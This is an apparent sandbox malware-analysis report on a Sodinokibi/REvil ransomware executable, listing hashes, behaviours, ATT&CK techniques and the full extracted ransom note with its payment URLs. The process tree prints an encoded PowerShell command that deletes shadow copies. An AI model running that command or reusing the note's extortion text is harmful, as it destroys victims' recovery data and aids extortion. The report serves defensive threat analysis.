Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 01:02

General

  • Target

    cd3c9f9b3c229e43f1d0ab80b633d3ccb0579c704eb879f36436d65d3644e1e5.exe

  • Size

    156KB

  • MD5

    eb0199fd4efa42215a0866778d96ee39

  • SHA1

    0a94e9d10afccd30e6295e00b7846e382741bfbc

  • SHA256

    cd3c9f9b3c229e43f1d0ab80b633d3ccb0579c704eb879f36436d65d3644e1e5

  • SHA512

    0f2a9d03db06e1fcaa10f6f3c2410b9ffdb6c4234bca07c37c578e5e684cf86a9eae6a3bbb98170dc7868640521c89433563915e16a870b64785e63195d9d178

Malware Config

Extracted

Path

C:\r8a9h67-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion r8a9h67. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/170AAA374FB15386 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/170AAA374FB15386 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 9aBkpBAfw+U4hzza+keZbPgKekQ57Qg8gO49/VdQjZOUuSvQ4WMk4lSKmES12x2H 43PdiQyICWKEfumW9mBPzjlK3DRxNMNyz6eLKaSey0vhRtfnhvyySm4jtv0CwiKb z1f0A1WKrYBZRJqcZuXzmaBFHQ312q1g7oBo/VsjqeSTxs3GqyK02RtfZyMgZDsw FcDnMklk5J3KBGlc/KZqtXuqvVFPv0N9gtSZjkpXpujgjZGp/ywuL9tvonK6Vs6W SdXRN3tSUXxZ9/qY40NCMYtPTlW3kxlkuf6a2zkvl3JYlmkxBuR1S5ZTb8H7lUC4 b/SCmK4ii830ya4BpunC9Oe/0/FubDmlz4RksNEJm/SyoirsHYgSjQ8zeDhEd1qk JE3NkCkedItgfpm4ELtwfnpfNE/Iz4vnwF21tZSHFUvGJeHjN4KJHzz0laDvtuZq lbpD64s7tSeYS22UAVtyiIDwNgRN87vKxOAHXAESCH3o04SQ30EPYu6E7y5YFkpj PLsgaADq8ZUa48Jr8ZMuks1l3DAVYPiEIgBEKFg/epX0FG85cxzmM0Q8fGYLbWeW IXI7tbnSrfHY+yrAo/kKHlgc0YI94+Nlpjate2/A2NBGxJnxY6RMpzWmoVjGZoW4 A0en8KZUoJApXsDgXXa/QnYjXhHAWCRD9NT7g+3UHlPJJqmSDq90sR644SYMTYVI FMc3qFrBC/joAcmNbP/F9QISyAftO/J9iZf2Ef5j/7CnSxVX1+P7uFLOJrRLJpE4 XuGt3sdIFtSdntMGijdt7LMooSttCws5soi+7rugiHxrnsJ3iUaN3LPesRLE32gN LE40RNDDbQXvsPupH3PhtSjBwK2eCp73gB/23MrL/9q5XhMBkPlrdKiT+35mMXxJ 9O/XqJ2kDerVnnDi9DV7414NeHI9KnqKeKXWB+fyaEOEMLQ+iLeY0054qFFqtGKv eQOZu02WPTgxWOUsz9l5i0mG4XqVS6jRM4RXkJoPEjnfUJbMZ3ZdQIQdDBaXuV8x O9CDvD+5+TIbMk62bE95iFy6dc5GRgxKpGJpr9DTdWvu9lxMaPN2P9ppyInisM72 khmnYfockQqxC+SDgaTzxGQC0UBq/RSVmCa160MNsdDUg3MSUwzyfbqUAdEt2rk4 +B3p8xXexi/TCWWyqZpGXxks5Bg+lalyYv4/feiYNpH7BejNfVL7LNVaXXqnl9sI h8E0J6YAO6A/eP6T5122MMmFt6KmpLxcNIsu/ZON4dGmO5uSpch0XZGzIn2PeFOm cEU3F8cYqiGEuW+/IcR2gRuWL7scVk1EsLA= Extension name: r8a9h67 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/170AAA374FB15386

http://decryptor.cc/170AAA374FB15386

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Modifies extensions of user files 6 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 27 IoCs
  • Modifies system certificate store 2 TTPs 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cd3c9f9b3c229e43f1d0ab80b633d3ccb0579c704eb879f36436d65d3644e1e5.exe
    "C:\Users\Admin\AppData\Local\Temp\cd3c9f9b3c229e43f1d0ab80b633d3ccb0579c704eb879f36436d65d3644e1e5.exe"
    1⤵
    • Modifies extensions of user files
    • Adds Run key to start application
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1224
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:692
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1520
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2040

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Defense Evasion

    Modify Registry

    3
    T1112

    Install Root Certificate

    1
    T1130

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Impact

    Defacement

    1
    T1491

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/692-56-0x000007FEFB781000-0x000007FEFB783000-memory.dmp
      Filesize

      8KB

    • memory/692-58-0x0000000002370000-0x0000000002372000-memory.dmp
      Filesize

      8KB

    • memory/692-59-0x0000000002372000-0x0000000002374000-memory.dmp
      Filesize

      8KB

    • memory/692-60-0x0000000002374000-0x0000000002377000-memory.dmp
      Filesize

      12KB

    • memory/692-57-0x000007FEF2A20000-0x000007FEF357D000-memory.dmp
      Filesize

      11.4MB

    • memory/692-61-0x000000000237B000-0x000000000239A000-memory.dmp
      Filesize

      124KB

    • memory/1224-55-0x0000000075421000-0x0000000075423000-memory.dmp
      Filesize

      8KB